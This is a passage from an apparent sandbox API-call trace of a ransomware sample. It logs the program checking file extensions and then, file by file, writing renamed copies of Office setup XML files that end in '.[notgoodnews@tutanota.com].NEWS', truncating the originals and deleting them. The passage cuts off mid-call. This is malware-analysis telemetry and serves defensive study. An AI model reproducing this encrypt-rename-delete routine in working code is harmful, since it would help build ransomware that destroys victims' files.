Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0058.748] lstrlenW (lpString=".jpg") returned 4 [0058.748] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0059.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0059.096] lstrlenW (lpString=".doc") returned 4 [0059.096] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.096] lstrlenW (lpString=".docx") returned 5 [0059.096] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0059.096] lstrlenW (lpString=".pdf") returned 4 [0059.096] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.096] lstrlenW (lpString=".xls") returned 4 [0059.096] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.096] lstrlenW (lpString=".xlsx") returned 5 [0059.096] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0059.096] lstrlenW (lpString=".ppt") returned 4 [0059.097] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0059.097] lstrlenW (lpString=".zip") returned 4 [0059.097] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.097] lstrlenW (lpString=".rar") returned 4 [0059.097] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.097] lstrlenW (lpString=".bz2") returned 4 [0059.097] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.097] lstrlenW (lpString=".7z") returned 3 [0059.097] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0059.097] lstrlenW (lpString=".dbf") returned 4 [0059.097] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0059.097] lstrlenW (lpString=".1cd") returned 4 [0059.097] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0059.097] lstrlenW (lpString=".jpg") returned 4 [0059.097] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.098] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0059.098] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0059.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0059.098] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1452) returned 1 [0059.098] CloseHandle (hObject=0x1ac) returned 1 [0059.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0059.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0059.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0059.099] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.099] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.010] GetLastError () returned 0x0 [0060.010] ReadFile (in: hFile=0x1ac, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0060.012] WriteFile (in: hFile=0x1f0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0060.014] ReadFile (in: hFile=0x1ac, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.014] WriteFile (in: hFile=0x1f0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0060.015] SetEndOfFile (hFile=0x1f0) returned 1 [0060.015] CloseHandle (hObject=0x1f0) returned 1 [0060.016] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.016] SetEndOfFile (hFile=0x1ac) returned 1 [0060.017] CloseHandle (hObject=0x1ac) returned 1 [0060.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0060.017] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0060.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.018] lstrlenW (lpString=".doc") returned 4 [0060.018] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.018] lstrlenW (lpString=".docx") returned 5 [0060.018] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0060.018] lstrlenW (lpString=".pdf") returned 4 [0060.018] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.018] lstrlenW (lpString=".xls") returned 4 [0060.018] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.018] lstrlenW (lpString=".xlsx") returned 5 [0060.018] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0060.018] lstrlenW (lpString=".ppt") returned 4 [0060.018] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.018] lstrlenW (lpString=".zip") returned 4 [0060.019] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.019] lstrlenW (lpString=".rar") returned 4 [0060.019] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.019] lstrlenW (lpString=".bz2") returned 4 [0060.019] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.019] lstrlenW (lpString=".7z") returned 3 [0060.019] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.019] lstrlenW (lpString=".dbf") returned 4 [0060.019] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.019] lstrlenW (lpString=".1cd") returned 4 [0060.019] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.019] lstrlenW (lpString=".jpg") returned 4 [0060.019] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.019] lstrlenW (lpString=".doc") returned 4 [0060.019] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.020] lstrlenW (lpString=".docx") returned 5 [0060.020] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0060.020] lstrlenW (lpString=".pdf") returned 4 [0060.020] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.020] lstrlenW (lpString=".xls") returned 4 [0060.020] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.020] lstrlenW (lpString=".xlsx") returned 5 [0060.020] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0060.020] lstrlenW (lpString=".ppt") returned 4 [0060.020] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.020] lstrlenW (lpString=".zip") returned 4 [0060.020] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.020] lstrlenW (lpString=".rar") returned 4 [0060.020] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.020] lstrlenW (lpString=".bz2") returned 4 [0060.020] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.020] lstrlenW (lpString=".7z") returned 3 [0060.020] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.020] lstrlenW (lpString=".dbf") returned 4 [0060.020] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.021] lstrlenW (lpString=".1cd") returned 4 [0060.021] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0060.021] lstrlenW (lpString=".jpg") returned 4 [0060.021] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.021] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0060.021] lstrlenW (lpString="Proof.XML") returned 9 [0060.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.022] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1458) returned 1 [0060.022] CloseHandle (hObject=0x1ac) returned 1 [0060.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0060.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0060.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.022] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.022] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.023] GetLastError () returned 0x0 [0060.023] ReadFile (in: hFile=0x1ac, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0060.354] WriteFile (in: hFile=0x1f0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0060.355] ReadFile (in: hFile=0x1ac, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.355] WriteFile (in: hFile=0x1f0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.356] SetEndOfFile (hFile=0x1f0) returned 1 [0060.356] CloseHandle (hObject=0x1f0) returned 1 [0060.357] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.357] SetEndOfFile (hFile=0x1ac) returned 1 [0060.358] CloseHandle (hObject=0x1ac) returned 1 [0060.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0060.359] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0060.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.359] lstrlenW (lpString=".doc") returned 4 [0060.359] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.359] lstrlenW (lpString=".docx") returned 5 [0060.359] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0060.359] lstrlenW (lpString=".pdf") returned 4 [0060.359] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.359] lstrlenW (lpString=".xls") returned 4 [0060.359] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.359] lstrlenW (lpString=".xlsx") returned 5 [0060.359] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0060.359] lstrlenW (lpString=".ppt") returned 4 [0060.359] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.360] lstrlenW (lpString=".zip") returned 4 [0060.360] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.360] lstrlenW (lpString=".rar") returned 4 [0060.360] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.360] lstrlenW (lpString=".bz2") returned 4 [0060.360] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.360] lstrlenW (lpString=".7z") returned 3 [0060.360] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.360] lstrlenW (lpString=".dbf") returned 4 [0060.360] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.360] lstrlenW (lpString=".1cd") returned 4 [0060.360] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.360] lstrlenW (lpString=".jpg") returned 4 [0060.360] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.361] lstrlenW (lpString=".doc") returned 4 [0060.361] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.361] lstrlenW (lpString=".docx") returned 5 [0060.361] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0060.361] lstrlenW (lpString=".pdf") returned 4 [0060.361] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.361] lstrlenW (lpString=".xls") returned 4 [0060.361] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.361] lstrlenW (lpString=".xlsx") returned 5 [0060.361] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0060.361] lstrlenW (lpString=".ppt") returned 4 [0060.361] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.361] lstrlenW (lpString=".zip") returned 4 [0060.361] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.361] lstrlenW (lpString=".rar") returned 4 [0060.361] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.361] lstrlenW (lpString=".bz2") returned 4 [0060.361] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.361] lstrlenW (lpString=".7z") returned 3 [0060.361] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.362] lstrlenW (lpString=".dbf") returned 4 [0060.362] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.362] lstrlenW (lpString=".1cd") returned 4 [0060.362] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0060.362] lstrlenW (lpString=".jpg") returned 4 [0060.362] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.362] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0060.362] lstrlenW (lpString="SETUP.XML") returned 9 [0060.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.364] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1608) returned 1 [0060.364] CloseHandle (hObject=0x1ac) returned 1 [0060.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0060.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0060.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.364] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.364] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0060.772] GetLastError () returned 0x0 [0060.772] ReadFile (in: hFile=0x1ac, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x648, lpOverlapped=0x0) returned 1 [0060.843] WriteFile (in: hFile=0x208, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x650, lpOverlapped=0x0) returned 1 [0060.844] ReadFile (in: hFile=0x1ac, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.844] WriteFile (in: hFile=0x208, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.845] SetEndOfFile (hFile=0x208) returned 1 [0060.845] CloseHandle (hObject=0x208) returned 1 [0060.846] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.846] SetEndOfFile (hFile=0x1ac) returned 1 [0060.848] CloseHandle (hObject=0x1ac) returned 1 [0060.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0060.848] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0060.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0060.849] lstrlenW (lpString=".doc") returned 4 [0060.849] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.849] lstrlenW (lpString=".docx") returned 5 [0060.849] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0060.849] lstrlenW (lpString=".pdf") returned 4 [0060.849] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.849] lstrlenW (lpString=".xls") returned 4 [0060.849] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.849] lstrlenW (lpString=".xlsx") returned 5 [0060.849] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0060.849] 